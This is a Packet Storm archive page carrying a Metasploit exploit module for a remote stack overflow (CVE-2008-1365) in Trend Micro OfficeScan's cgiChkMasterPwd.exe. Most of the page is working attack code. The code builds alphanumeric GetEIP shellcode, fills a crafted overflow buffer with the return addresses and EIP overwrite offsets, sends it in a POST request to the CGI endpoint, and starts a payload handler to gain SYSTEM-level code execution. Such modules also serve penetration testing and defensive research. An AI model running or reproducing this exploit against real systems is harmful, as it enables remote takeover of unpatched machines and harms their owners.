exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Trend Micro OfficeScan Remote Stack Overflow

Trend Micro OfficeScan Remote Stack Overflow
Posted Nov 26, 2009
Authored by toto | Site metasploit.com

This Metasploit module exploits a stack overflow in Trend Micro OfficeScan cgiChkMasterPwd.exe (running with SYSTEM privileges).

tags | exploit, overflow
advisories | CVE-2008-1365
SHA-256 | 4fc603304bb5cb8a4bd83a0d27426fab1d184e3e4cf17277bbb15732277da742

Trend Micro OfficeScan Remote Stack Overflow

Change Mirror Download
require 'msf/core'
require 'metasm'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Trend Micro OfficeScan Remote Stack Overflow',
'Description' => %q{
This module exploits a stack overflow in Trend Micro OfficeScan
cgiChkMasterPwd.exe (running with SYSTEM privileges).

},
'Author' => [ 'toto' ],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2008-1365' ],
[ 'OSVDB', '42499' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'MinNops' => 0,
'MaxNops' => 0,
'Space' => 498,
'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),
# clean up to prevent crash on exit
'Prepend' => Metasm::Shellcode.assemble(Metasm::Ia32.new, "mov dword ptr fs:[0], 0").encode_string,
'EncoderOptions' =>
{
'BufferRegister' => 'ECX',
},
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
# return addresses need to be alphanumeric (here in loadhttp data section)
[ 'Windows 2000 - Trend Micro OfficeScan 7.3.0.1293)', { 'Rets' => [0x63613035, 0x63613032] } ],
],
'DisclosureDate' => 'Jun 28 2007',
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(8080),
], self.class)
end

def exploit
geip_src = "
push esi
push esp
pop eax
xor esi, [eax]
push esi
pop eax
xor eax, got_eip
push eax
pop ecx
got_eip:
"

sc = Metasm::Shellcode.assemble(Metasm::Ia32.new, geip_src)

sc.base_addr = target['Rets'][0]
get_eip = sc.encode_string

pat = Rex::Text.rand_text_alphanumeric(1016)

pat[0, get_eip.length] = get_eip
pat[14, payload.encoded.length] = payload.encoded
pat[512, 4] = [target['Rets'][1]].pack('V') # string pointer (to prevent a crash)
pat[524, 4] = [target['Rets'][0]].pack('V') # sets EIP to the address where the shellcode has been copied
pat[540, 4] = [target['Rets'][0]-1].pack('V') # shellcode will be copied at this address (+1)

data = "TMlogonEncrypted=!CRYPT!" + pat
len = sprintf("%u", data.length);

print_status("Trying target address 0x%.8x..." % target['Rets'][0])

res = send_request_cgi({
'uri' => '/officescan/console/cgi/cgiChkMasterPwd.exe',
'method' => 'POST',
'content-type' => 'application/x-www-form-urlencoded',
'data' => data,
}, 5)

handler
end

end
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close